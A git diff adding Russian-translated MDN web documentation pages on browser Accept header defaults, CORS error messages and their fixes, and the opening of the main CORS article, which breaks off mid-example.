+   <td><em>Не поддерживается для элемента {{HTMLElement("audio")}}.</em></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>Internet Explorer 9</td>
+   <td>?</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Значения_для_скриптов">Значения для скриптов</h2>
+
+<p>Если запрашивается скрипт, например через HTML-элемент {{HTMLElement("script")}}, в некоторых браузерах используется уточненное значение.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Агент пользователя</th>
+   <th>Значение</th>
+   <th>Комментарий</th>
+  </tr>
+  <tr>
+   <td>Firefox</td>
+   <td><code>*/*</code></td>
+   <td>См. <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=170789" title="https://bugzilla.mozilla.org/show_bug.cgi?id=170789">страницу ошибки 170789</a>.</td>
+  </tr>
+  <tr>
+   <td>Safari, Chrome</td>
+   <td><code>*/*</code></td>
+   <td><a class="external" href="https://chromium.googlesource.com/chromium/src.git/+/master/services/network/loader_util.cc#27" title="http://www.newmediacampaigns.com/page/browser-rest-http-accept-headers"><span style="font-size: x-small;">исходный код</span></a></td>
+  </tr>
+  <tr>
+   <td>Internet Explorer до версии 8 включительно</td>
+   <td><code>*/*</code></td>
+   <td>См. запись <a class="external" href="https://docs.microsoft.com/en-us/archive/blogs/ieinternals/ie-and-the-accept-header" title="http://blogs.msdn.com/b/ieinternals/archive/2009/07/01/ie-and-the-accept-header.aspx">IE and the Accept Header</a> в блоге MSDN под названием IEInternals.</td>
+  </tr>
+  <tr>
+   <td>Internet Explorer 9</td>
+   <td><code>application/javascript, */*;q=0.8</code></td>
+   <td>См. запись <a class="external" href="https://docs.microsoft.com/en-us/archive/blogs/fiddler/fiddler-and-the-ie9-release-candidate" title="http://blogs.msdn.com/b/fiddler/archive/2011/02/10/fiddler-is-better-with-internet-explorer-9.aspx">Fiddler is better with Internet Explorer 9</a> в блоге MSDN под названием IEInternals.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Значения_для_таблиц_стилей_CSS">Значения для таблиц стилей CSS</h2>
+
+<p>Если запрашивается таблица стилей CSS через HTML-элемент <code>&lt;link rel="stylesheet"&gt;</code>, в большинстве браузеров используется уточненное значение.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Агент пользователя</th>
+   <th>Значение</th>
+   <th>Комментарий</th>
+  </tr>
+  <tr>
+   <td>Firefox 4</td>
+   <td><code>text/css,*/*;q=0.1</code></td>
+   <td>См. <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=170789" title="https://bugzilla.mozilla.org/show_bug.cgi?id=170789">страницу ошибки 170789</a>. <a class="external" href="https://hg.mozilla.org/mozilla-central/file/tip/layout/style/Loader.cpp#l1548" title="http://www.newmediacampaigns.com/page/browser-rest-http-accept-headers"><span style="font-size: x-small;">исходный код</span></a></td>
+  </tr>
+  <tr>
+   <td>Internet Explorer до версии 8 включительно</td>
+   <td><code>*/*</code></td>
+   <td>См. запись <a class="external" href="https://docs.microsoft.com/en-us/archive/blogs/ieinternals/ie-and-the-accept-header" title="http://blogs.msdn.com/b/ieinternals/archive/2009/07/01/ie-and-the-accept-header.aspx">IE and the Accept Header</a> в блоге MSDN под названием IEInternals.</td>
+  </tr>
+  <tr>
+   <td>Internet Explorer 9</td>
+   <td><code>text/css</code></td>
+   <td>См. запись <a class="external" href="https://docs.microsoft.com/en-us/archive/blogs/fiddler/fiddler-and-the-ie9-release-candidate" title="http://blogs.msdn.com/b/fiddler/archive/2011/02/10/fiddler-is-better-with-internet-explorer-9.aspx">Fiddler is better with Internet Explorer 9</a> в блоге MSDN под названием IEInternals.</td>
+  </tr>
+  <tr>
+   <td>Safari, Chrome</td>
+   <td><code>text/css,*/*;q=0.1</code></td>
+   <td><a class="external" href="https://chromium.googlesource.com/chromium/src.git/+/master/content/renderer/loader/web_url_loader_impl.cc#98" title="http://www.newmediacampaigns.com/page/browser-rest-http-accept-headers"><span style="font-size: x-small;">исходный код</span></a></td>
+  </tr>
+  <tr>
+   <td>Opera 11.10</td>
+   <td><code>text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 </code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>Konqueror 4.6</td>
+   <td><code>text/css,*/*;q=0.1</code></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html b/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html
new file mode 100644
index 0000000000..8a59413663
--- /dev/null
+++ b/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html
@@ -0,0 +1,47 @@
+---
+title: 'Причина: CORS заголовок ''Access-Control-Allow-Origin'' не соответствует ''xyz'''
+slug: Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin
+tags:
+  - CORS
+  - CORSAllowOriginNotMatchingOrigin
+  - Cross-Origin
+  - HTTP
+  - HTTPS
+  - Безопасность
+  - Исправление проблем
+  - Ошибка
+  - Сообщения
+  - консоль
+  - причины
+translation_of: Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin
+---
+<div>{{HTTPSidebar}}</div>
+
+<h2 id="Reason">Reason</h2>
+
+<pre class="syntaxbox notranslate">Причина: CORS заголовок 'Access-Control-Allow-Origin' не соответсвует 'xyz'</pre>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Проще говоря, источник делает запрос который не совпадает ни с одним из источников разрешенных заголовком - {{HTTPHeader("Access-Control-Allow-Origin")}}.</p>
+
+<p>Эта ошибка также может произойти, если ответ содежит более одного заголовка <code>Access-Control-Allow-Origin</code>.</p>
+
+<p>Если сервис, к которому ваш код обращается с помощью CORS запроса находится под вашим контролем, убедитесь что он настроен для включения в себя вашего источника в заголовке <code>Access-Control-Allow-Origin</code> и что в ответах от сервера присутствует только один такой заголовок. Заголовок принимает список источников, поэтому указать новый источник совсем не сложно.</p>
+
+<p>К примеру, в Apache, вы можете добавить следующую строку в конфигурацию веб-сервера (в пределах одной из секций - <code>&lt;Directory&gt;</code>, <code>&lt;Location&gt;</code>, <code>&lt;Files&gt;</code> или <code>&lt;VirtualHost&gt;</code>). Обычно конфигурация находиться в файле <code>.conf</code> (наиболее частые имена для него - <code>httpd.conf</code> и <code>apache.conf</code>) или в файле <code>.htaccess</code>.</p>
+
+<pre class="notranslate">Header set Access-Control-Allow-Origin '<em>origin-list</em>'</pre>
+
+<p>В Nginx, для установки такого заголовка можно воспользоваться следующей командой: </p>
+
+<pre class="notranslate">add_header 'Access-Control-Allow-Origin' '<em>origin-list</em>'</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS errors</a></li>
+ <li>Glossary: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li>
+ <li><a href="https://enable-cors.org/server.html">Enable CORS: I want to add CORS support to my server</a></li>
+</ul>
diff --git a/files/ru/web/http/cors/errors/corsdidnotsucceed/index.html b/files/ru/web/http/cors/errors/corsdidnotsucceed/index.html
new file mode 100644
index 0000000000..a9a5569ce3
--- /dev/null
+++ b/files/ru/web/http/cors/errors/corsdidnotsucceed/index.html
@@ -0,0 +1,28 @@
+---
+title: 'Причина: Не удалось выполнить запрос CORS'
+slug: Web/HTTP/CORS/Errors/CORSDidNotSucceed
+tags:
+  - CORS
+  - CORSDidNotSucceed
+  - HTTP
+  - HTTPS
+  - консоль
+  - причины
+translation_of: Web/HTTP/CORS/Errors/CORSDidNotSucceed
+---
+<h2 id="Причина">Причина</h2>
+
+<pre class="syntaxbox">Причина: Не удалось выполнить запрос CORS
+</pre>
+
+<h2 id="Что_произошло"><strong>Что произошло?</strong></h2>
+
+<p>Запрос {{Glossary("HTTP")}}, использующий {{Glossary("CORS")}} не был выполнен, потому что подключение через HTTP не было выполнено либо на сетевом уровне или на уровне протокола. Ошибка не имеет прямого отношения к CORS, но все равно считается как фундаментальная.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">Ошибки CORS</a></li>
+ <li>Словарь: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">Введение в CORS</a></li>
+</ul>
diff --git a/files/ru/web/http/cors/errors/corsdisabled/index.html b/files/ru/web/http/cors/errors/corsdisabled/index.html
new file mode 100644
index 0000000000..c4f75914b1
--- /dev/null
+++ b/files/ru/web/http/cors/errors/corsdisabled/index.html
@@ -0,0 +1,24 @@
+---
+title: 'Ошибка: CORS disabled'
+slug: Web/HTTP/CORS/Errors/CORSDisabled
+translation_of: Web/HTTP/CORS/Errors/CORSDisabled
+---
+<div> </div>
+
+<h2 id="Ошибка">Ошибка</h2>
+
+<pre class="syntaxbox">Ошибка: CORS disabled</pre>
+
+<h2 id="Что_случилось">Что случилось?</h2>
+
+<p>При запросе с использованием {{Glossary("CORS")}}, последний был отключен в браузере пользователя. Чтобы использовать CORS, его необходимо включить.</p>
+
+<p>В браузере Firefox, настройка которая отключает CORS - <code>content.cors.disable</code>. Устанавливая данное значение в <code>true</code> вы отключаете CORS, поэтому каждый раз при использовании CORS запрос будет отклонен с ошибкой.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS errors</a></li>
+ <li>Словарь: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li>
+</ul>
diff --git a/files/ru/web/http/cors/errors/corsmissingalloworigin/index.html b/files/ru/web/http/cors/errors/corsmissingalloworigin/index.html
new file mode 100644
index 0000000000..56875e1603
--- /dev/null
+++ b/files/ru/web/http/cors/errors/corsmissingalloworigin/index.html
@@ -0,0 +1,58 @@
+---
+title: 'Причина: отсутствует заголовок CORS «Access-Control-Allow-Origin»'
+slug: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin
+translation_of: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin
+---
+<h2 id="Причина"><a href="/ru-Ru/docs/">Причина</a></h2>
+
+<pre class="syntaxbox">Причина: отсутствует заголовок CORS «Access-Control-Allow-Origin»</pre>
+
+<h2 id="Почему_это_произошло"><a href="/ru-RU/docs/">Почему это произошло?</a></h2>
+
+<p>В ответе на {{Glossary("CORS")}}-запрос отсутствует заголовок {{HTTPHeader("Access-Control-Allow-Origin")}}, используемый для проверки, может ли ресурс быть доступен для контента на текущем домене.</p>
+
+<p>Если у вас есть доступ к серверу, то добавьте домен запрашивающего сайта в список разрешенных доменов, добавив его в значение заголовка <code>Access-Control-Allow-Origin</code>.</p>
+
+<p>Например, для предоставления сайту https://amazing.site доступа к ресурсам с использованием CORS, заголовок должен выглядеть так:</p>
+
+<pre>Access-Control-Allow-Origin: https://amazing.site</pre>
+
+<p>Также вы можете разрешить доступ любому сайту, используя подстановку <code>*</code>. Используйте этот способ только для публичных API. В закрытых API <code>*</code> не должна использоваться, вместо этого должен быть установлен определенный домен или домены. При этом подстановка работает только для запросов с атрибутом {{htmlattrxref("crossorigin")}} со значением <code>anonymous</code>.</p>
+
+<pre>Access-Control-Allow-Origin: *</pre>
+
+<div class="warning">
+<p><strong>Внимание:</strong> Использование * для доступа к закрытым API — плохая идея по очевидным причинам.</p>
+</div>
+
+<p>Чтобы разрешить любому сайту делать CORS-запросы <em>без</em> использования подстановки <code>*</code> (например, для включения авторизационных данных), ваш сервер должен считывать значение заголовка <code>Origin</code> из запроса и использовать это значение, чтобы задать <code>Access-Control-Allow-Origin</code>, а также выставить заголовок <code>Vary: Origin</code>, чтобы обозначить динамическую установку заголовка в зависимости от источника.</p>
+
+<p>Конкретная директива для установки заголовков зависит от вашего сервера. Так в Apache нужно добавить следующую строку в конфигурацию сервера (в соответствующих разделах <code>&lt;Directory&gt;</code>, <code>&lt;Location&gt;</code>, <code>&lt;Files&gt;</code> или <code>&lt;VirtualHost&gt;</code>). Конфигурация обычно находится в файле с расширением <code>.conf</code> (стандартные названия: <code>httpd.conf</code>, <code>apache.conf</code>), либо в файле <code>.htaccess</code>.</p>
+
+<pre>Header set Access-Control-Allow-Origin 'origin-list'</pre>
+
+<p>В Nginx для установки этого заголовка используется команда:</p>
+
+<pre>add_header 'Access-Control-Allow-Origin' 'origin-list'</pre>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">Ошибки CORS</a></li>
+ <li>Словарь: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">Введение в CORS</a></li>
+</ul>
+
+<div id="simple-translate">
+<div>
+<div class="simple-translate-button " style="height: 22px; width: 22px; top: 10px; left: 10px;"></div>
+
+<div class="simple-translate-panel " style="width: 300px; height: 200px; top: 0px; left: 0px; font-size: 13px; background-color: rgb(255, 255, 255);">
+<div class="simple-translate-result-wrapper" style="overflow: hidden;">
+<p class="simple-translate-result" style="color: rgb(0, 0, 0);"></p>
+
+<p class="simple-translate-candidate" style="color: rgb(115, 115, 115);"></p>
+</div>
+</div>
+</div>
+</div>
diff --git a/files/ru/web/http/cors/errors/index.html b/files/ru/web/http/cors/errors/index.html
new file mode 100644
index 0000000000..d1dd12dc75
--- /dev/null
+++ b/files/ru/web/http/cors/errors/index.html
@@ -0,0 +1,76 @@
+---
+title: CORS errors
+slug: Web/HTTP/CORS/Errors
+tags:
+  - CORS
+  - Errors
+  - HTTP
+  - HTTPS
+  - Messages
+  - NeedsTranslation
+  - Same-origin
+  - Security
+  - TopicStub
+  - console
+  - troubleshooting
+translation_of: Web/HTTP/CORS/Errors
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary"><a href="/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing</a> ({{Glossary("CORS")}}) is a standard that allows a server to relax the <a href="/en-US/docs/Web/Security/Same-origin_policy">same-origin policy</a>. This is used to explicitly allow some cross-origin requests while rejecting others.</span> For example, if a site offers an embeddable service, it may be necessary to relax certain restrictions. Setting up such a CORS configuration isn't necessarily easy and may present some challenges. In these pages, we'll look into some common CORS error messages and how to resolve them.</p>
+
+<p>If the CORS configuration isn't setup correctly, the browser console will present an error like <code>"Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at $somesite"</code> indicating that the request was blocked due to violating the CORS security rules. This might not necessarily be a set-up mistake, though. It's possible that the request is in fact intentionally being disallowed by the user's web application and remote external service. However, If the endpoint is meant to be available, some debugging is needed to succeed.</p>
+
+<h2 id="Identifying_the_issue">Identifying the issue</h2>
+
+<p>To understand the underlying issue with the CORS configuration, you need to find out which request is at fault and why. These steps may help you do so:</p>
+
+<ol>
+ <li>Navigate to the web site or web app in question and open the <a href="/en-US/docs/Tools">Developer Tools</a>.</li>
+ <li>Now try to reproduce the failing transaction and check the <a href="/en-US/docs/Tools/Web_Console">console</a> if you are seeing a CORS violation error message. It will probably look like this:</li>
+</ol>
+
+<p><img alt="Firefox console showing CORS error" src="https://mdn.mozillademos.org/files/16050/cors-error2.png"></p>
+
+<p>The text of the error message will be something similar to the following:</p>
+
+<pre>Cross<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">-Origin Request Blocked: The Same Origin Policy disallows
+reading the remote resource at <em>https://some-url-here</em>. (<em>Reason:
+additional information here</em>).</span></span></span></pre>
+
+<div class="note">
+<p><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><strong>Note:</strong> For security reasons, specifics about what went wrong with a CORS request <em>are not available to JavaScript code</em>. All the code knows is that an error occurred. The only way to determine what specifically went wrong is to look at the browser's console for details.</span></span></span></p>
+</div>
+
+<h2 id="CORS_error_messages">CORS error messages</h2>
+
+<p>Firefox's console displays messages in its console when requests fail due to CORS. Part of the error text is a "reason" message that provides added insight into what went wrong.  The reason messages are listed below; click the message to open an article explaining the error in more detail and offering possible solutions.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDisabled">Reason: CORS disabled</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDidNotSucceed">Reason: CORS request did not succeed</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSOriginHeaderNotAdded">Reason: CORS header ‘Origin’ cannot be added</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSExternalRedirectNotAllowed">Reason: CORS request external redirect not allowed</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSRequestNotHttp">Reason: CORS request not http</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowOrigin">Reason: CORS header ‘Access-Control-Allow-Origin’ missing</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin">Reason: CORS header ‘Access-Control-Allow-Origin’ does not match ‘xyz’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials">Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMethodNotFound">Reason: Did not find method in CORS header ‘Access-Control-Allow-Methods’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowCredentials">Reason: expected ‘true’ in CORS header ‘Access-Control-Allow-Credentials’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed">Reason: CORS preflight channel did not succeed</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowMethod">Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Methods’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowHeader">Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowHeaderFromPreflight">Reason: missing token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’ from CORS preflight channel</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMultipleAllowOriginNotAllowed">Reason: Multiple CORS header ‘Access-Control-Allow-Origin’ not allowed</a></li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Glossary: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Server-side CORS settings</a></li>
+ <li><a href="/en-US/docs/Web/HTML/CORS_enabled_image">CORS enabled image</a></li>
+ <li><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">CORS settings attributes</a></li>
+ <li><a href="https://www.test-cors.org">https://www.test-cors.org</a> – page to test CORS requests</li>
+</ul>
diff --git a/files/ru/web/http/cors/index.html b/files/ru/web/http/cors/index.html
new file mode 100644
index 0000000000..ee6cfda506
--- /dev/null
+++ b/files/ru/web/http/cors/index.html
@@ -0,0 +1,542 @@
+---
+title: Cross-Origin Resource Sharing (CORS)
+slug: Web/HTTP/CORS
+translation_of: Web/HTTP/CORS
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary">Cross-Origin Resource Sharing ({{Glossary("CORS")}}) — механизм, использующий дополнительные {{Glossary("HTTP")}}-заголовки, чтобы дать возможность {{Glossary("user agent","агенту пользователя")}} получать разрешения на доступ к выбранным ресурсам с сервера на источнике (домене), отличном от того, что сайт использует в данный момент.</span> Говорят, что агент пользователя делает запрос с другого источника <strong>(cross-origin HTTP request),</strong> если источник текущего документа отличается от запрашиваемого ресурса доменом, протоколом или портом.</p>
+
+<p>Пример cross-origin запроса: HTML страница, обслуживаемая сервером с <code>http://domain-a.com</code>, запрашивает <code><a href="/en-US/docs/Web/HTML/Element/Img#Attributes">&lt;img&gt; src</a></code> по адресу <code>http://domain-b.com/image.jpg</code>. Сегодня многие страницы загружают ресурсы вроде CSS-стилей, изображений и скриптов с разных доменов, соответствующих разным сетям доставки контента (Content delivery networks, CDNs).</p>
+
+<p>В целях безопасности браузеры ограничивают cross-origin запросы, инициируемые скриптами. Например, {{domxref("XMLHttpRequest")}} и <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> следуют <em>политике одного источника</em> (<a href="/en-US/docs/Web/Security/Same-origin_policy">same-origin policy</a>). Это значит, что web-приложения, использующие такие API, могут запрашивать HTTP-ресурсы только с того домена, с которого были загружены, пока не будут использованы CORS-заголовки.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14295/CORS_principle.png" style="height: 305px; width: 440px;"></p>
+
+<p>Механизм CORS поддерживает кросс-доменные запросы и передачу данных между браузером и web-серверами по защищенному соединению. Современные браузеры используют CORS в API-контейнерах, таких как {{domxref("XMLHttpRequest")}} или <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>, чтобы снизить риски, присущие запросам с других источников.</p>
+
+<h2 id="Кто_должен_читать_данную_статью">Кто должен читать данную статью?</h2>
+
+<p>На самом деле, все.</p>
+
+<p>Конкретнее, эта статья для web-администраторов, разработчиков серверной стороны и front-end разработчиков. Современные браузеры поддерживают клиентские компоненты cross-origin обмена, включая заголовки и соблюдение правил политики. Но этот новый стандарт означает, что сервера также должны поддерживать новые заголовки запросов и ответов. Другая статья для разработчиков серверной части, описывающая <a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">перспективы сross-origin обмена на стороне сервера (с примерами кода на PHP)</a>, к дополнительному прочтению.</p>
+
+<h2 id="Какие_запросы_используют_CORS">Какие запросы используют CORS?</h2>
+
+<p>Этот <a class="external" href="https://fetch.spec.whatwg.org/#http-cors-protocol">cтандарт сross-origin обмена</a> используется для разрешения кросс-сайтовых HTTP запросов для:</p>
+
+<ul>
+ <li>Вызова {{domxref("XMLHttpRequest")}} или <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> APIs в кросс-сайт манере, как описано выше.</li>
+ <li>Web Fonts (для кросс-доменного использования шрифтов в <code>@font-face</code> в рамках CSS), <a class="external" href="https://www.w3.org/TR/css-fonts-3/#font-fetching-requirements">чтобы серверы могли разворачивать TrueType шрифты, которые могут быть загружены только кросс-сайт и использованы web-сайтами, которым это разрешено.</a></li>
+ <li><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">WebGL текстуры</a>.</li>
+ <li>Фреймы с изображениями/видео, добавленными в канвас с помощью <code><a href="/en-US/docs/Web/API/CanvasRenderingContext2D/drawImage">drawImage</a></code>.</li>
+ <li>Стили (для <a href="/en-US/docs/Web/CSS/CSSOM_View">CSSOM</a> доступа).</li>
+ <li>Скрипты (для  отключенных исключений).</li>
+</ul>
+
+<p>Эта статья описывает общие понятия Cross-Origin Resource Sharing и включает обсуждение необходимых HTTP заголовков.</p>
+
+<h2 id="Обзор_функциональности">Обзор функциональности</h2>
+
+<p>Стандарт Cross-Origin Resource Sharing работает с помощью добавления новых <a href="/en-US/docs/Web/HTTP/Headers">HTTP-заголовков</a>, которые позволяют серверам описывать набор источников, которым разрешено читать информацию, запрашиваемую web-браузером. В частности, для методов HTTP-запросов, которые могут привести к побочным эффектам над данными сервера (в частности, для HTTP методов, отличных от {{HTTPMethod("GET")}} или для {{HTTPMethod("POST")}} запросов, использующих определнные <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME-</a>типы), спецификация требует, чтобы браузеры "предпроверяли" запрос, запрашивая поддерживающие методы с сервера с помощью метода HTTP-запроса {{HTTPMethod("OPTIONS")}} и затем, поверх "подтверждения" с сервера, отсылали фактический запрос с фактическим методом HTTP-запроса. Сервера также могут оповещать клиентов должны ли "полномочия" (включая <a href="/en-US/docs/Web/HTTP/Cookies">Cookies</a> и HTTP Authentication данные) быть отправлены с запросом.</p>
+
+<p>Следующая секция описывает сценарии, а также предоставляет анализ использования HTTP-заголовков. </p>
+
+<h2 id="Примеры_сценариев_управления_доступом">Примеры сценариев управления доступом</h2>
+
+<p>Здесь мы рассмотрим три сценария, которые иллюстрируют как Cross-Origin Resource Sharing работает. Каждый сценарий использует объект {{domxref("XMLHttpRequest")}}, который может быть использован для межсайтового взаимодействия, в любом, поддерживающем данный объект, браузере.</p>
+
+<p>Фрагменты JavaScript кода, включенные в эти секции (а также фрагменты кода, отвечающие за корректную обработку межсерверных запросов, которые запускаются на сервере) могут быть испытаны "в действии" на <a class="external" href="http://arunranga.com/examples/access-control/">http://arunranga.com/examples/access-control/</a>, и будут работать в браузерах, которые поддерживают {{domxref("XMLHttpRequest")}}.</p>
+
+<p>Обсуждение Cross-Origin Resource Sharing с точки зрения сервера (включая фрагменты кода на PHP) может быть найдено в статье <a class="internal" href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Server-Side Access Control (CORS)</a>.</p>
+
+<h3 id="Простые_запросы">Простые запросы</h3>
+
+<p>Некоторые запросы не заставляют срабатывать <a href="/en-US/docs/Web/HTTP/Access_control_CORS#Preflighted_requests">CORS preflight</a>. Они называются “простыми запросами” в данной статье, хотя {{SpecName('Fetch')}} спецификация, определяющая CORS, не использует этот термин. Запрос, для которого не срабатывает <a href="/en-US/docs/Web/HTTP/Access_control_CORS#Preflighted_requests">CORS preflight</a>— так называемый “простой запросы”—это запрос, удовлетворяющий следующим условиям:</p>
+
+<ul>
+ <li>Допустимые методы для запроса:
+  <ul>
+   <li>{{HTTPMethod("GET")}}</li>
+   <li>{{HTTPMethod("HEAD")}}</li>
+   <li>{{HTTPMethod("POST")}}</li>
+  </ul>
+ </li>
+ <li>Кроме заголовков, которые автоматические проставляются user-agent'ом (например, {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}}, или <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">любой другой заголовок с именем, определенным в спецификации метода Fetch в секции “Запрещенные имена заголовков (которые нельзя изменить программно)”</a>), допустимыми заголовками, которые могут быть проставлены вручную, являются <a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">те заголовки, которые определены спецификацией метода Fetch как “CORS-безопасные заголовки запроса”</a>, такие как:
+  <ul>
+   <li>{{HTTPHeader("Accept")}}</li>
+   <li>{{HTTPHeader("Accept-Language")}}</li>
+   <li>{{HTTPHeader("Content-Language")}}</li>
+   <li>{{HTTPHeader("Content-Type")}} (но учитывайте примечание ниже)</li>
+   <li>{{HTTPHeader("Last-Event-ID")}}</li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#dpr">DPR</a></code></li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#save-data">Save-Data</a></code></li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#viewport-width">Viewport-Width</a></code></li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#width">Width</a></code></li>
+  </ul>
+ </li>
+ <li>Допустимыми значениями заголовка {{HTTPHeader("Content-Type")}} являются:
+  <ul>
+   <li><code>application/x-www-form-urlencoded</code></li>
+   <li><code>multipart/form-data</code></li>
+   <li><code>text/plain</code></li>
+  </ul>
+ </li>
+ <li>Не должны быть зарегистрированы обработчики событий на любой объект {{domxref("XMLHttpRequestUpload")}} используемый в запросе; это достигается использованием свойства {{domxref("XMLHttpRequest.upload")}}.</li>
+ <li>В запросе не должен использоваться объект типа {{domxref("ReadableStream")}}.</li>
+</ul>
+
+<div class="note"><strong>Замечание:</strong> These are the same kinds of cross-site requests that web content can already issue, and no response data is released to the requester unless the server sends an appropriate header. Therefore, sites that prevent cross-site request forgery have nothing new to fear from HTTP access control.</div>
+
+<div class="note"><strong>Замечание:</strong> WebKit Nightly и Safari Technology Preview устанавливают дополнительные ограничения на значения, допустимые в заголовках {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, и {{HTTPHeader("Content-Language")}}. Если любой из этих заголовков имеет "нестандартное" значение, WebKit/Safari используют предварительный запрос. Значения, которые WebKit/Safari считают "нестандартными" для этих заголовков, перечислены только в следующих проблемах WebKit: <a href="https://bugs.webkit.org/show_bug.cgi?id=165178" rel="nofollow noreferrer">Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language</a>, <a href="https://bugs.webkit.org/show_bug.cgi?id=165566" rel="nofollow noreferrer">Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS</a>, и <a href="https://bugs.webkit.org/show_bug.cgi?id=166363" rel="nofollow noreferrer">Switch to a blacklist model for restricted Accept headers in simple CORS requests</a>. Во всех других браузерах подобных дополнительных ограничений нет, потому что они не являются частью спецификации.</div>
+
+<p>Например, представьте, что содержимое домена <code class="plain">http://foo.example</code> хочет обратиться к содержимому <code class="plain">http://bar.other</code>. На домене foo.example может использоваться следующий Javascript код:</p>
+
+<pre class="brush: js notranslate" id="line1">var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/public-data/';
+
+function callOtherDomain() {
+  if(invocation) {
+    invocation.open('GET', url, true);
+    invocation.onreadystatechange = handler;
+    invocation.send();
+  }
+}
+</pre>
+
+<p>Это приведет к простому обмену запросами между клиентом и сервером, используя CORS заголовки для обработки привилегий:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14293/simple_req.png" style="height: 224px; width: 521px;"></p>
+
+<p>Посмотрим, что браузер отправит в таком случае на сервер, а также проверим ответ сервера:</p>
+
+<pre class="brush: shell;highlight:[10,16] notranslate">GET /resources/public-data/ HTTP/1.1
+Host: bar.other
